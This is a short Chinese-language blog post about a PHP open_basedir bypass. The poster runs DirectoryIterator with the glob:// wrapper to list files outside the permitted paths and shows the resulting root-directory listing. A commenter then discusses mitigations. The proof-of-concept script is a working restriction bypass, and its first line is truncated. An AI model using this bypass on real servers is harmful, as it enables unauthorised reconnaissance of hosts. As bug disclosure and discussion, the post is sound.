DirectoryIterator 與 glob 是 PHP 5.3 開始支援的功能,但現在它看起來像是可以被用來瀏覽遍及 / 底下的東西,如下測試
是 Bug 還是 ?
我測試是成功的,也還沒找到解決方式
open_basedir : %s
', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///var/www/html/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}
";
}
?>
結果
open_basedir : /var/www/html/ssorc.tw:/tmp . .. .autofsck .autorelabel bin boot dev etc home lib lost+found media misc mnt net opt proc root sbin selinux srv sys tmp usr var
參考 : WooYun
留言
這個是Bug .. 內部靠chroot , 外面可能要有關鍵字去做proxy filter or iptables word filter 很累人的一件事。 看一下PHP 5.4 有沒有!!